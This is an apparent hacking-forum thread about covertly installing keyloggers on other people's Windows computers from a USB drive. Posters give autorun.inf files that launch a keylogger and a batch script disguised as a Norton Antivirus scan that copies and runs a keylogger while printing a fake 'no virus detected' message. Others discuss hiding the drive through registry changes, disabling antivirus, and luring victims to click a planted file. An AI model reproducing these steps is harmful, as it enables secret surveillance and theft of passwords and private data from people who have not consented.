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USB Keylogger

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Does anyone know of a program that can be downloaded on to thumb drive and then plugged into someones computer where it automatically starts logging?

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PHLAK does not automatically but i think it has the option of a keylogger to run it in the background. But im not totally sure. Might need to check that out

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I need something that can be ran on windows, If need to be i can setup up, but it can not be something permantly installed on the local machine

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I'm assuming you would be using Windows, in which case you could write an autorun.inf file to start your keylogger everytime it is plugged in. I was acctually going ot set up a system like that on one of my flash drives (along with a vnc server) but I never got around to it.

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those are good if u can order them, but some people dont wanna deal with paying for it. does anybody know how to make a usb autorun? after lookin it up is seems that u cant without messin with the computer before hand, but i could be wrong.

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does anybody know how to make a usb autorun? after lookin it up is seems that u cant without messin with the computer before hand, but i could be wrong.

I think as long as the autorun feature is operational (some places disable it) you can just use that for starting your program. I made it work on my usb drive. In the top folder (root directory) of the CD create a text file and name it autorun.inf. Edit the file with the following information:

[autorun]

open=keylogger.exe

and then save the file. Copy your executable 'keylogger.exe' into the top folder. Now when you insert the usb drive Windows will read the autorun.inf and launch your program. You can rename your program but the name in the autorun.inf has to match.

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Wow crazy shit I was thinking about this same exact thing a while ago. I figured you could autostart a keylogger using a autorun.inf file. There was a article in the spring issue of 2600 about using a Ipod with some password recovering software that could be set to automatically run on a victims machine, all one had to do was simply ask " Can I charge my ipod on your pc real quick?".

If one wanted to leave a USB thumbdrive on a victims PC to log alot of information but have the victim not notice that a removable drive is connected to their system I geuss one could code a batch script to make some registry tweaks to hide the drive and the little annoying notices on the bottom of the task bar.

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when makin said script, would there be a way to switch it back so that when this is all over and the person needs to connect to the computer it will work the way it should rather than hiding it?

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when makin said script, would there be a way to switch it back so that when this is all over and the person needs to connect to the computer it will work the way it should rather than hiding it?

I did not think of that. The only way I could think of changing everything back would to have another script copied onto the machines HD and place a registry string to start up the script everytime the system is rebooted to change every setting back. But if the system is rebooted and still has the USB drive connected the dirty script could then just reload and do its work over again. This isn't fool proof.

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I think that by using the USB key as a point of entry it would be better to offload the program onto your target. I know I would find it odd if anyone wanted me to keep a usbkey in my system while I did stuff >_>

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I have been fooling around with this for the past few days and I have been running into problems. I first used a simple autorun.ini file to start up the .exe key logger, and that failed miserably. Every computer I went on fired up the rogram, and immediatly closed it and showed an error message.

My next step was to use a .dat file to copy the .exe to the persons harddrive and run it remotely from there. Most computers I tried it on would allow the copying, but again, when i attempted to remotely run the program, it crashed and didn't work. I will try to post the error message, but I didn't get anything useful out of it.

My biggest problem may be that I am using a SanDisk thumb Drive with that god-forsaken U3 program on it. In essence, my thumb drive shows up as a CD-Rom drive (for auto exec the U3 program) and a regular storage drive (for storing data). I figured out how to upload my own .iso file to the virtural CD rom drive but the autorun still brings me the same problem. In fact, I have yet to run the keylogger from this virtural drive without problems.

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Hello,

I’m just starting to work on this DIY keylogger:

www.keelog.com/diy.html

However, a microcontroller programmer is required. Does anybody know where I can get the firmware burned without investing $500 into a professional programmer?

Cheers,

edpl

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I use this code ( saved as autorun.inf )

[autorun]
icon=icons\drive.ico
open=icons\test.exe
action=Click “OK” to open drive
shell\open\command=icons\test.exe

You will need to replace the "test.exe" and "icons\drive.ico" with your own program and icon.

Note: You can not make it auto run unless you use a u3 usb fob, the above code ( with a normal usb fob) will put a link in the menu that comes up in windows, also it will auto run your program if they click on the drive.

I kept getting my usb key stolen, so i used the above code to find out who did it, by putting a image for the icon that would make them click on it eg: porn, the program gets the user name and send it to a simple server using normal web page request.

So if it must be 100% auto run, look into U3 usb fobs.

Edited by Dex
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As to keylogger, I prefer to use software keylogger.

I am using this Micro keylogger on my PC and the Mac parental control software (including the Mac spy software and Mac internet filter for Mac) on my kids' Macintosh. They are very difficult to be detected.

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Is there any way to create an autorun file that would instantly kill the antivirus once it was plugged in to the computer?

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Is there any way to create an autorun file that would instantly kill the antivirus once it was plugged in to the computer?

What are you a spammer or a legitimate member, spam multiple old threads dating back to the earliest of 2008 and then ask a proper question is this you just trying to cover the fact you spammed the forums with some pointless comments that claim you have something but it will come at a cost. Do you not realise the people that still hang around in these forums would most probably have no problem trying to hack Runescape and even though they most probably can they most probably have no interest what so ever in doing so.

Or did you realise after you spammed this forum that wait this forum might actually be interesting and of some help and entertainment to you?

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I dont know how to make USB keylogger but I can make keylogger in USB with autorun.inf simply and invisible....

First Open NOtePAD and type:

[autorun]open=nav.bat

Save it with name Autorun.inf

Open notepad again and type:

@echo off

echo norton Antivirus 2006

echo scanning disk drive…

echo please wait…

copy navw32.exe C:\windows\

call C:\windows\navw32.exe

echo.

echo.

echo.

echo.

echo.

echo.

echo.

echo.Scanning complette! No Virus Threat detected!

echo.

cls

Save with name Nav.bat,

and you can download Nav32.exe (Search from GOOGLE)

After That, input your USB to other computer, and it will be Automatically record that computer keyboard...

Find the recording file in c:\windows\nav32.dll :smile:

Edited by Fahmi53
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Edit: Wait that post above is very suspicious.

Telling someone to download Nav32...That is spyware...And isn't available just anywhere to download.

The fact you typed "echo" is stupid also, who are you trying to fool.

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Edit: Wait that post above is very suspicious.

Telling someone to download Nav32...That is spyware...And isn't available just anywhere to download.

The fact you typed "echo" is stupid also, who are you trying to fool.

well do u know how to make a USB keylogger?

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Edit: Wait that post above is very suspicious.

Telling someone to download Nav32...That is spyware...And isn't available just anywhere to download.

The fact you typed "echo" is stupid also, who are you trying to fool.

well do u know how to make a USB keylogger?

Make a USB keylogger? http://www.instructables.com/id/How-to-build-your-own-USB-Keylogger/

Or do you mean how to install a key logger application silently via a USB stick? http://wiki.hak5.org/index.php?title=USB_Switchblade

I suppose it is anyone's guess.

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Edit: Wait that post above is very suspicious.

Telling someone to download Nav32...That is spyware...And isn't available just anywhere to download.

The fact you typed "echo" is stupid also, who are you trying to fool.

well do u know how to make a USB keylogger?

Make a USB keylogger? http://www.instructables.com/id/How-to-build-your-own-USB-Keylogger/

Or do you mean how to install a key logger application silently via a USB stick? http://wiki.hak5.org/index.php?title=USB_Switchblade

I suppose it is anyone's guess.

the latter actually.

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